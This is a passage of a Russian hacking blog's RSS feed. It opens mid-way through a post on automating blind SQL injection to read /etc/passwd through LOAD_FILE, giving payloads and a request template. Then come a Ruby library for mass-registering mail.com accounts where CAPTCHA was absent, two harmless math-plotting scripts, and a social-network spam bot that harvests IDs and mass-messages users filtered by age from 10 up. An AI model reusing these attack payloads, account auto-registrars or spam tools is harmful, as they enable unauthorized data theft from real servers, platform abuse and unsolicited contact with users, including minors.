<p>если условие верно т.е. открылась страница с новостью 10, значит 128&gt;=ASCII&gt;=0, тогда скрипт делает запрос</p>
<p><code>64&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>32&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p>тогда следующий запрос, будет отталкиватся от кода 48 (48=32+32/2)</p>
<p><code>48&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p>тогда вычитаем 8 (на прошлом ходе прибавляли 16, на каждом шаге делем на 2)</p>
<p><code>40&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p><code>44&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>42&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p><code>41&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: red;">неверно</span></p>
<p><code>42=ASCII(MID(LOAD_FILE('/etc/passwd'),0,1))</code> &#8211; <span style="color: green;">верно</span></p>
<p>таким образом мы за 9 шагов однозначно определили символ.</p>
<p>Далее скрипт берет следующий символ и начинает все заново.</p>
<p><code>128&gt;=ASCII(MID(LOAD_FILE('/etc/passwd'),1,1))</code></p>
<p>Я не читал, все статьи по blind SQL-inj, поэтому если кто-то придумал такой перебор раньше меня, а так наверняка оно и есть, не обижайтесь, что здесь нет ссылки на вышу статью и укажите ее в комментариях.</p>
<p>Все разгаданные символы скрипт записывает в файл и выводит на экран консоли.</p>
<div style="font-size: 1.5em;">конфигурация</div>
<p>Она располагается в начале скрипте и представляет из себя инициализацию глобальных переменных.</p>
<p><code style="font-size: 0.8em;">#config<br />
$request="/article.php?id=44+AND+##NUM####SIGN##ASCII%28MID%28##REPLACE##,##I##,1%29%29"<br />
$outfile="outfile"<br />
$priznak="eta_kartinka_est_tolko_v_statie_s_nomerom_44.jpg"<br />
$func="LOAD_FILE%28"+"0x2f6574632f706173737764"+"%29" #/etc/passwd<br />
$site="www.site.com"<br />
$start=1<br />
#config<br />
</code><br />
<strong>$request</strong> &#8211; сам запрос, с метками:</p>
<ul>
<li>##NUM## &#8211; число с которым сравнивается ASCII-код</li>
<li>##SIGN## &#8211; место, куда будет подставляться знак (&gt;,=)</li>
<li>##REPLACE## &#8211; сама функция, задающаяся в переменной $func</li>
<li>##I## &#8211; номер символа</li>
</ul>
<p>Задаем эту переменную в соответствии с нашим запросом, при этом правильно расставляем метки.</p>
<p><strong>$outfile </strong>- файл куда будет все выводится.<br />
<strong>$priznak</strong> &#8211; часть страницы, отличающая страницу с верным выводом от неверной. Т.е. при таком виде запроса</p>
<p><code>http://site.com/?id=10 AND 128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)) --</code></p>
<p>или</p>
<p><code>http://site.com/?id=IF(128&gt;ASCII(MID(LOAD_FILE('/etc/passwd'),1,1)),10,9) --</code></p>
<p>эта часть текста HTML должна присутствовать только в новости с индексом 10.</p>
<p><strong>$func</strong> &#8211; функция, которую мы вызываем. Это может быть LOAD_FILE(), VERSION(), USER() итд, комбинации из них, короче все на что хватит фантазии.</p>
<p><strong>$site</strong> &#8211; сайт, где располагается SQL-inj.</p>
<p><strong>$start</strong> &#8211; номер символа, с которого начинать.</p>
<div style="font-size: 1.7em;">многопоточный приблизительно точный</div>
<p><a rel="nofollow" href="http://www.sendspace.com/file/8ouu84" target="_blank">скачать скрипт</a></p>
<p>Принцип работы нечем не отличается, заисключением того, что скрипт вычисляет не последовательно символ за символом, а сразу паралельно несколько символов, количество которых равно количеству потоков заданных в конфигурации.</p>
<p>Конфигурация, такая же, добавился лишь один параметр <strong>$th_count</strong>. Он определяет количество потоков.<strong></strong></p>
<p>Чем же плох многопоточный вариант? При стабильном соединении с интернетом не чем т.е. он вычислит все символы как надо и быстро. Если же соединение часто обрывается, как например на 3G-модемах, то некоторые потоки будут умерать оставляя свой символ недовычисленным. Для примера, при нестабильном соединении (скорость скачет от 1КБ/с до 300КБ/с, соединение обрывается каждые 3-5 минут) из 10 символов 1 будет недовычислен.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/08/30/avtomatizatsiya-sliva-iz-blind-sql-inj/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>AOL сошел с ума или авторегер на mail.com</title>
		<link>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/</link>
		<comments>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/#comments</comments>
		<pubDate>Mon, 12 Jul 2010 00:20:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[AOL]]></category>
		<category><![CDATA[email]]></category>
		<category><![CDATA[https]]></category>
		<category><![CDATA[mail.com]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[авторегер]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=230</guid>
		<description><![CDATA[Не понятно какие тараканы укусили админов AOL, но подконтрольный AOL&#8217;у сервис mail.com с какого-то перепуга отменил капчу при регистрации мыла. В связи с этим событием, с которым может сравнится только финал ЧМ-2010, в адекватности судьи которого, кстати, я не уверен и не признаю никакого другого ЧМ кроме Нидерландов,  я считаю просто необходимо написать авторегер под [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/aol.jpeg"><img class="size-full wp-image-231 alignleft" style="margin: 10px;" title="aol" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/aol.jpeg" alt="" width="224" height="106" /></a>Не понятно какие тараканы укусили админов AOL, но подконтрольный AOL&#8217;у сервис mail.com с какого-то перепуга отменил капчу при регистрации мыла.</p>
<p>В связи с этим событием, с которым может сравнится только  финал ЧМ-2010, в адекватности судьи которого, кстати, я не уверен и не признаю никакого другого ЧМ кроме Нидерландов,  я считаю просто необходимо написать авторегер под эту штуку.<span id="more-230"></span></p>
<p>Сам скрипт авторега я не написал еще, да думаю и не надо, каждый и сам сможет переписать выложенный здесь код под свои нужды. А написал я класс или точнее сказать скрипт-библиотеку, естественно на Ruby, который содержит все необходимые методы для регистрации мыла, быть может заисключением проверки адреса на существование.</p>
<p><strong>Сам скрипт</strong></p>
<blockquote><p>#!/usr/bin/ruby<br />
require &#8216;net/http&#8217;<br />
require &#8216;net/https&#8217;</p>
<p>def str2pc(str)<br />
if !str then return &#8220;|ERR=#{str}|&#8221; end<br />
i=0<br />
pc=&#8221;<br />
while i&lt;str.size do<br />
pc+=&#8221;%#{str[i].to_s(16)}&#8221;.upcase<br />
i+=1<br />
end<br />
return pc<br />
end</p>
<p>class Acc<br />
attr_accessor :login,:pass,:domain<br />
def initialize(login,pass,domain)<br />
@login=login<br />
@pass=pass<br />
@domain=domain<br />
@http=Net::HTTP.new(&#8216;signup.mail.com&#8217;, 443)<br />
@http.use_ssl = true<br />
@path=&#8217;/UserInformationB.aspx&#8217;<br />
end</p>
<p>def get_headers(refer)<br />
return headers = {<br />
&#8216;Cookie&#8217; =&gt; @cookie,<br />
&#8216;Referer&#8217; =&gt; refer,<br />
&#8216;Content-Type&#8217; =&gt; &#8216;application/x-www-form-urlencoded&#8217;,<br />
&#8216;User-Agent&#8217;=&gt; &#8216;Mozilla/5.0 Gecko/20090909 Windows NT 5.0/9&#8242;<br />
}<br />
end</p>
<p>def get_fst_cook<br />
begin<br />
resp, data = @http.get(@path, nil)<br />
@cookie = resp.response['set-cookie']<br />
@__VIEWSTATE=data.split(&#8220;__VIEWSTATE\&#8221; value=\&#8221;")[1].split(&#8220;\&#8221;")[0]<br />
@__EVENTVALIDATION=data.split(&#8220;__EVENTVALIDATION\&#8221; value=\&#8221;")[1].split(&#8220;\&#8221;")[0].gsub!(/([^a-zA-Z0-9])/){str2pc($1)}<br />
rescue<br />
return e<br />
end<br />
return 0<br />
end</p>
<p>def reg<br />
begin<br />
data = &#8220;__VIEWSTATE=#{@__VIEWSTATE}&amp;__EVENTVALIDATION=#{@__EVENTVALIDATION}&amp;hOptin=2&amp;hdCheckbox=1&amp;hdCampaignCheckbox=0&amp;RefenceCode=event01&amp;TrkID=0000&amp;FirstName=fdsjhfj&amp;LastName=jkvhfsdjk&amp;drpMonth=06&amp;drpDay=07&amp;drpYear=1975&amp;Username=#{@login}&amp;Domainname=#{@domain}&amp;Password=#{@pass}&amp;PasswordConfirm=#{pass}&amp;setpw=False&amp;SecQuestion=3&amp;SecAnswer=bhgfhgfhjfghgfhg&amp;Agreed=Create+Account&#8221;<br />
resp, data = @http.post(@path, data, self.get_headers(&#8216;https://signup.mail.com/UserInformationB.aspx&#8217;))<br />
@cookie = @cookie+resp.response['set-cookie']<br />
@path=resp['location']<br />
resp, data = @http.get(@path, self.get_headers(&#8216;https://signup.mail.com/UserInformationB.aspx&#8217;))<br />
@path=resp['location']<br />
resp, data = @http.get(@path, self.get_headers(&#8220;https://signup.mail.com/#{@path}&#8221;))<br />
rescue =&gt; e<br />
return e<br />
end<br />
return 0<br />
end<br />
end#class</p></blockquote>
<blockquote><p>#EXAMPLE<br />
accs=Acc.new(&#8220;test&#8221;,&#8221;example&#8221;,&#8221;california.usa.com&#8221;) #test@california.usa.com:example<br />
puts accs.get_fst_cook<br />
puts accs.reg</p></blockquote>
<p>Немного разберем скрипт.</p>
<p>Итак, он содержит 1 функцию &#8211; str2pc и класс Acc. str2pc преобразует символы в процент-код.</p>
<p><strong>Класс Acc</strong></p>
<ul>
<li>метод get_headers &#8211; возвращает заголовок пакета</li>
<li>метод get_fst_cook &#8211; получает необходимые кукисы и параметры для дальнейшей регистрации</li>
<li>метод reg &#8211; собственно сама регистрация</li>
</ul>
<p>Рассмотрим подробнее метод get_fst_cook. Он получает страницу регистрации /UserInformationB.aspx методом GET, а в месте с ней и первые кукисы. Далее парсит страницу на 2 необходимых параметра:</p>
<ol>
<li>__VIEWSTATE</li>
<li>__EVENTVALIDATION</li>
</ol>
<p>причем в __EVENTVALIDATION попутно заменяются все символы, неудовлетворяющие регулярному выражению ([^a-zA-Z0-9]) на процент-код.</p>
<p>Метод reg. Отправляет собственно сам POST-запрос регистрации, а затем 2 GET запроса на страницы /UserInformationB.aspx и той, на которую стоит переадресации в полученном пакете. Последний запрос не обязателен и регистрация пройдет и без него, однако он нужен если вы не хотите получить при входе на мыло страницу о успешной реги и прочей фигне.</p>
<p><strong>Как использовать класс</strong></p>
<p>Все очень просто и пример описан под комментарием #EXAMPLE:</p>
<ol>
<li>в конструкторе вводим логин, пароль и домен &#8211; accs=Acc.new(&#8220;test&#8221;,&#8221;example&#8221;,&#8221;california.usa.com&#8221;)</li>
<li>вызываем get_fst_cook, в случае ошибки возвращает текст ошибки, иначе 0 &#8211; accs.get_fst_cook</li>
<li>вызываем reg, в случае ошибки возвращает текст ошибки, иначе 0 &#8211; accs.reg</li>
</ol>
<p>Это все. Чтобы сделать из этой библиотеки полноценный авторегер особого ума не надо, и если же вы все-таки его сделаете незабудьте выложить в паблик.</p>
<p>Скачать скрипт в нормальном виде можно <a href="http://sharingmatrix.com/file/12315579/autoreg_mail.com.tar" target="_blank">здесь</a>.</p>
<p>P.S. хочу также сказать спасибо nonamez&#8217;у за его пост в его <a href="http://n0nz.info/" target="_blank">блоге</a>, где он поведал о плагине для FireFox Live HTTP Headers, без него было бы тяжко разбирать снифером HTTPS-пакеты. Статью можно прочитать <a href="http://n0nz.info/?p=36" target="_blank">здесь</a>.</p>
<p><object width="480" height="385"><param name="movie" value="http://www.youtube.com/v/nElrkQaKJmc&amp;hl=ru_RU&amp;fs=1"></param><param name="allowFullScreen" value="true"></param><param name="allowscriptaccess" value="always"></param><embed src="http://www.youtube.com/v/nElrkQaKJmc&amp;hl=ru_RU&amp;fs=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="480" height="385"></embed></object></p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/12/aol-soshel-s-uma-ili-avtoreger-na-mail-com/feed/</wfw:commentRss>
		<slash:comments>6</slash:comments>
		</item>
		<item>
		<title>разгребая хлам или в помощь студенту. часть 2 – фракталы вращения.</title>
		<link>http://blog.lukmus.ru/2010/07/09/razgrebaya-hlam-ili-v-pomoshh-studentu-ch-2/</link>
		<comments>http://blog.lukmus.ru/2010/07/09/razgrebaya-hlam-ili-v-pomoshh-studentu-ch-2/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 12:53:40 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[ruby & ruby on rails]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[rmagick]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[windows]]></category>
		<category><![CDATA[фрактал]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=187</guid>
		<description><![CDATA[Данный скрипт как и предыдущий практически ничем не примечателен. Он рисует фрактал методом вращения параболы заданной уравнением, трехмерную фигуру, также заданную уравнением и находит точки их пересечения. Например: для запуска с такими аргументами: ./console_fraktal.rb 0.1*x**2-3*x-150 10000 -f 2ex.jpg -ic 36 -bc white -nss создается файл 2ex.jpg следующего содержания: При таком запуске ./console_fraktal.rb 0.1*x**2-3*x-250 x**2/100+y**2/100 -f [...]]]></description>
			<content:encoded><![CDATA[<p>Данный скрипт как и предыдущий практически ничем не примечателен. Он рисует фрактал методом вращения параболы заданной уравнением, трехмерную фигуру, также заданную уравнением и находит точки их пересечения.<span id="more-187"></span></p>
<p>Например:</p>
<p>для запуска с такими аргументами:</p>
<p><code>./console_fraktal.rb 0.1*x**2-3*x-150 10000 -f 2ex.jpg -ic 36 -bc white -nss</code></p>
<p>создается файл 2ex.jpg следующего содержания:</p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/2ex.jpg"><img class="alignnone size-medium wp-image-188" title="./console_fraktal.rb 0.1*x**2-3*x-150 10000 -f 2ex.jpg -ic 36 -bc white -nss" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/2ex-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>При таком запуске</p>
<p><code>./console_fraktal.rb 0.1*x**2-3*x-250 x**2/100+y**2/100 -f 3ex.jpg -ic 36 -bc white</code></p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/3ex.jpg"><img class="alignnone size-medium wp-image-189" title="3ex" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/3ex-300x300.jpg" alt="" width="300" height="300" /></a></p>
<p>Вообщем там много всяких параметров и соответственно можно изобразить много чего. Все параметры описаны в хелпе скрипта, который выводится если скрипт запустить без параметров.</p>
<p>Единственная практическая ценность этого срипта &#8211; он может служить хорошим примером работы с библиотекой Rmagick. Rmagick &#8211; библиотека для работы с изображениями, поддерживающая более 90 форматов, основана на ImageMagick и GraphicsMagick).</p>
<p>Пользователи Linux могут легко установить ее</p>
<ul>
<li> для RH: <code>yum install ruby-RMagick</code></li>
<li> для Debian: <code>apt-get ruby-RMagick</code></li>
<li> для Slackware: как всегда качаем тарбол с <a href="http://rmagick.rubyforge.org/" target="_blank">офсайта</a> и читаем readme.</li>
</ul>
<p>Что касается Windows тут все гораздо сложнее.</p>
<p>На офсайте где-то писали, что какому-то левше удалось установить ее на винду, однако как я не пытался мне это так и не удалось.</p>
<p>Следуя инструкциям с офсайта, установив все что там написано, после запуска вылезает куча ошибок, которые якобы устраняются установкой нескольких различных dll&#8217;ок. Собрав по всему интернету коллекцию этих dll, какие-то ошибки и правда устранились, однако скрипт так и не запустился корректно. Короче, это лишний повод для перехода с винды на линукс )).</p>
<p>Скачать скрипт можно <a href="http://sharingmatrix.com/file/11786449/fractal.tar" target="_blank">здесь</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/09/razgrebaya-hlam-ili-v-pomoshh-studentu-ch-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>разгребая хлам или в помощь студенту. часть 1 &#8211; фигуры Лиссажу.</title>
		<link>http://blog.lukmus.ru/2010/07/09/razgrebaya-hlam-ili-v-pomoshh-studentu-ch/</link>
		<comments>http://blog.lukmus.ru/2010/07/09/razgrebaya-hlam-ili-v-pomoshh-studentu-ch/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 00:54:19 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[ruby & ruby on rails]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[QT]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[фигуры лиссажу]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=175</guid>
		<description><![CDATA[Те скрипты, что я здесь приведу не имеют практически никакой прикладной или научной ценности и приведены лишь потому, что мне жаль их бесследно стирать. Что такое фигуры Лиссажу читаем на википедии. Теперь про сам скрипт. Скрипт написан на ruby и задействует библиотеку qt. Скрипт в окне рисует эти самые фигуры, плавно меняя цвет. По нажатию [...]]]></description>
			<content:encoded><![CDATA[<p><em>Те скрипты, что я здесь приведу не имеют практически никакой прикладной или научной ценности и приведены лишь потому, что мне жаль их бесследно стирать.</em></p>
<table cellspacing="15px">
<tbody>
<tr>
<td><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/0/03/Lissajous_figure_scope_2.jpg/200px-Lissajous_figure_scope_2.jpg" alt="фигуры Лиссажу" /></td>
<td>Что такое фигуры Лиссажу читаем на википедии. Теперь про сам скрипт.<br />
Скрипт написан на ruby и задействует библиотеку qt. Скрипт в окне рисует эти самые фигуры, плавно меняя цвет. По нажатию на кнопку &#8216;Next&#8217; меняются параметры уравнений и в окне начинает рисоваться новая фигура.</td>
</tr>
</tbody>
</table>
<p><span id="more-175"></span></p>
<p><object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube.com/v/2geKKIxqtZ0&amp;hl=ru_RU&amp;fs=1" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube.com/v/2geKKIxqtZ0&amp;hl=ru_RU&amp;fs=1" allowscriptaccess="always" allowfullscreen="true"></embed></object></p>
<p>Я немного слукавил, говоря, в самом начале, что здесь нечему научится. Здесь примечателен метод paintEvent(e) класса Lissajous&lt;Qt::Widget, именно он и рисует фигуру. Да и вообще, я считаю это нормальным примером работы с Qt, причем не только для Ruby т.к. все отличие от взаимодействия с этой библиотекой скажем в C++ заключается лишь в различном синтаксисе C++ и Ruby. Человек, читающий Фултона, конечно, для себя здесь ничего не откроет, а студенту в самый раз.</p>
<p>Скачать эту вакханалию можно <a href="http://sharingmatrix.com/file/11696703/lissajou.tar" target="_blank">здесь</a>. как установить qt и ruby можно прочитать соответственно <a href="http://blog.lukmus.ru/?p=169" target="_blank">здесь</a> и <a href="http://blog.lukmus.ru/?p=57" target="_blank">здесь</a>.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/09/razgrebaya-hlam-ili-v-pomoshh-studentu-ch/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>спамим МирТесен</title>
		<link>http://blog.lukmus.ru/2010/07/03/spamim-mirtesen/</link>
		<comments>http://blog.lukmus.ru/2010/07/03/spamim-mirtesen/#comments</comments>
		<pubDate>Sat, 03 Jul 2010 01:26:39 +0000</pubDate>
		<dc:creator>lukmus</dc:creator>
				<category><![CDATA[hack]]></category>
		<category><![CDATA[методы и способы]]></category>
		<category><![CDATA[скрипты]]></category>
		<category><![CDATA[ruby]]></category>
		<category><![CDATA[мир тесен]]></category>
		<category><![CDATA[спамер]]></category>

		<guid isPermaLink="false">http://blog.lukmus.ru/?p=126</guid>
		<description><![CDATA[Во-первых, хотелось бы отметить недобросовестность веб-мастеров и верстальщиков этой СС, так например, если заходить на нее через линуксовую мозиллу, то заглавная страница предоставляет не совсем дружественный интерфейс: Закончим со стебом. Сегодня я покажу вам спамер по этой СС. Написан он, как обычно для меня, на Ruby и как всегда разделен на файлы, каждый из которых [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft" src="http://static.mtml.ru/images/firstpage_logo.gif" alt="" width="249" height="29" /></p>
<p>Во-первых, хотелось бы отметить недобросовестность веб-мастеров и верстальщиков этой СС, так например, если заходить на нее через линуксовую мозиллу, то заглавная страница предоставляет не совсем дружественный интерфейс:<span id="more-126"></span></p>
<p><a href="http://blog.lukmus.ru/wp-content/uploads/2010/07/mt.png"><img class="aligncenter size-full wp-image-127" title="mt" src="http://blog.lukmus.ru/wp-content/uploads/2010/07/mt.png" alt="" width="704" height="207" /></a>Закончим со стебом.</p>
<p>Сегодня я покажу вам спамер по этой СС. Написан он, как обычно для меня, на Ruby и как всегда разделен на файлы, каждый из которых выполняет определенную задачу:</p>
<ul>
<li>config.rb &#8211; конфигурация</li>
<li>lib.rb &#8211; скрипт-бибилиотека</li>
<li>get_list.rb &#8211; исполняемый скрипт, набирает список id по нашим критериям</li>
<li>main.rb &#8211; собственно сам спамер</li>
</ul>
<p>Весь код приводить здесь, я думаю не имеет смысла, поэтому кратко пройдемся по основным деталям.</p>
<p>Код lib.rb представляет из себя класс Account, который содержит методы, помимо конструктора:</p>
<ul>
<li>auth &#8211; авторизация, в случае успешной возвращает 0</li>
<li>send &#8211; отправить &#8216;что-то&#8217;, почему &#8216;что-то&#8217;, а не например сообщение станет понятно дальше</li>
<li>sendmsg &#8211; отправить сообщение</li>
<li>add2friend &#8211; пригласить в друзья</li>
<li>gets_people &#8211; получить список аккков по критериям</li>
</ul>
<p>А так же lib.rb содержит парочку ненужных функций: log &#8211; ведение логов и str2pc &#8211; перевод текста в процент-код.</p>
<p>Итак, почему же метод send отправляет &#8216;что-то&#8217;? Ответ прост, дело в том что в МТ отправить приглашение на дружбу и отправить сообщение это одно и тоже действие, отличаются там только некоторый параметры. И как следствие этого, методы sendmsg и add2friend используют метод send и лишь добавляют туда свойственные им параметры.</p>
<p>На этом более-менее соображающие программисты заканчивают читать статью, качают архив со скриптами и начинают творить новое малваре для МТ.</p>
<p>А для вас, уважаемые ленивцы, безфантазийные псевдокодеры, поисковые боты и прочая элита я опишу и все остальное.</p>
<p><strong>Скрипт get_list.rb</strong></p>
<blockquote><p>#!/usr/bin/ruby</p>
<p>require &#8216;config.rb&#8217;<br />
require &#8216;lib.rb&#8217;</p>
<p>def get_next(type)<br />
if type==&#8217;random&#8217; then     return 2000+rand(10000000) end<br />
if type==&#8217;list&#8217; then     return $list_from+=1 end<br />
end</p>
<p>if $ptype!=&#8217;params&#8217;<br />
fl=File.new($idfile,&#8217;a')<br />
for i in 0..$count do fl.puts get_next($ptype) end<br />
fl.close<br />
else<br />
acc=Account.new($test_login,$test_pass)<br />
if acc.auth==0<br />
ids=acc.gets_people($params['interest'],$params['city'],</p>
<p>$params['sex'],$params['agf'],$params['agt'],$count)<br />
fl=File.new($idfile,&#8217;a')<br />
ids.each {|id| fl.puts id}<br />
fl.close<br />
else puts &#8220;Invalid login or password&#8221; end<br />
end</p></blockquote>
<p>И делает он следующее:</p>
<ol>
<li>считывает параметры из конфига</li>
<li>если собрать id надо  не по параметрам, то будет нещадно эксплуатировать функцию get_next</li>
<li>функция get_next определяет как собирать id: по порядку или в случайном порядке, и собственно при каждом ее запуске возвращает id</li>
<li>если же список по параметрам, то в вызывает метод Account::gets_people</li>
<li>весь собранный любым способом список id выгружается в файл, заданный в конфигурации</li>
</ol>
<p><strong>Скрипт main.rb</strong></p>
<p>Это сам наш спамер. Он работает тоже не сложно:</p>
<ol>
<li>считывает из файла, список акков с каких мы спамим</li>
<li>ну и в цикле:
<ol>
<li>считывает id, которая на очереде для спама</li>
<li>берет акк для спама и авторизуется им (для каждого акка авторизация проводится только 1 раз)</li>
<li>ну и сосбственно спамит, инвайтит или спамит и инвайтит</li>
<li>в случае ошибки запишет ее в лог</li>
</ol>
</li>
<li>и все</li>
</ol>
<p><strong>Конфигурация config.rb</strong></p>
<blockquote><p>#!/usr/bin/ruby</p>
<p>$accfile=&#8221;accfile.txt&#8221;<br />
$idfile=&#8221;ids.txt&#8221;<br />
$logfile=&#8221;log.txt&#8221;</p>
<p>$ptype=&#8221;list&#8221; #random/params/list &#8211; как искать</p>
<p>$wtype=&#8221;all&#8221; #add/msg/all</p>
<p>$test_login=&#8221;example@mail.ru&#8221;<br />
$test_pass=&#8221;passwd&#8221;</p>
<p>$params=Hash[<br />
'interest'=&gt;'секс', #интересы<br />
'city'=&gt;'москва',<br />
'sex'=&gt;'male', #male/female - пол<br />
'agf'=&gt;'10', #возраст от<br />
'agt'=&gt;'30' #возраст до<br />
]</p>
<p>$list_from=666</p>
<p>$count=1<br />
$msgtext=&#8221;текст сообщения&#8221;</p></blockquote>
<p>$accfile &#8211; файл с вашими акками вида login:pass</p>
<p>$idfile &#8211; список id</p>
<p>$logfile &#8211; логи</p>
<p>$ptype &#8211; тип составления списка id:</p>
<ul>
<li>random &#8211; случайно</li>
<li>params &#8211; по параметрам</li>
<li>list &#8211; по порядку</li>
</ul>
<p>$wtype &#8211; тип действия:</p>
<ul>
<li>add &#8211; выслать инвайт на дружбу</li>
<li>msg &#8211; отправить сообщение</li>
<li>all &#8211; оправить сообщение и инвайт</li>
</ul>
<p>$test_login и $test_pass &#8211; логин и пароль акка для набора id.</p>
<p>$params &#8211; здесь пишутся параметры для списка id, если список составляется по параметрам ($ptype=&#8221;params&#8221;).</p>
<p>$count &#8211; количество отсылаемых сообщений и количество id при составлении списка</p>
<p>$msgtext &#8211; текст сообщения</p>
<p>Ну вот и все, пользуйтесь но не переусердствуйте, иначе спамер в скором времени может оказатся неработоспособным.</p>
<p>Скачать спамер можно <a href="http://sharingmatrix.com/file/10668961/mirtesen-spamer.tar" target="_blank">здесь</a>, как установить и запустить ruby читаем <a href="http://blog.lukmus.ru/?p=57" target="_blank">здесь</a>.</p>
<pre>Статья является плодом бурной фантазии автора и не призывает ни к каким действиям,
противоречащим законодательству. Ответственность за использование материала ложиться только на вас!
Любые совпадения с реальными людьми считаются случайными.</pre>
]]></content:encoded>
			<wfw:commentRss>http://blog.lukmus.ru/2010/07/03/spamim-mirtesen/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
